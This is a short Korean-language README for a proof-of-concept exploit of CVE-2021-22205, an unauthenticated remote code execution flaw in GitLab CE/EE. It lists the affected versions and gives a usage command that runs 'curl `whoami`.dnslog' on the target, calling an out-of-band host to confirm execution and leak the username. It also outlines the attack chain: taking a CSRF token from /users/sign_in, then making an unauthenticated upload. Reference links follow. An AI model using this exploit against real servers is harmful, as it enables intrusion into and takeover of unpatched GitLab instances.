CVE-2021-22205

영향받는 버전:

• Gitlab CE/EE < 13.10.3
• Gitlab CE/EE < 13.9.6
• Gitlab CE/EE < 13.8.8

사용법

python3 CVE-2021-22205.py target "curl \`whoami\`.dnslog"

csrf-token 획득:

/users/sign_in을 통해 csrf-token을 획득한 후 앞선 CVE-2021-22205 poc를 사용하여 업로드 패킷을 구성하고 인증되지 않은 업로드 요청을 실행하여 최종적으로 rce를 달성합니다.

참고:

• https://hackerone.com/reports/1154542
• https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
• https://forum.ywhack.com/viewthread.php?tid=115611
• https://forum.ywhack.com/viewthread.php?tid=116706
• https://github.com/RedTeamWing/CVE-2021-22205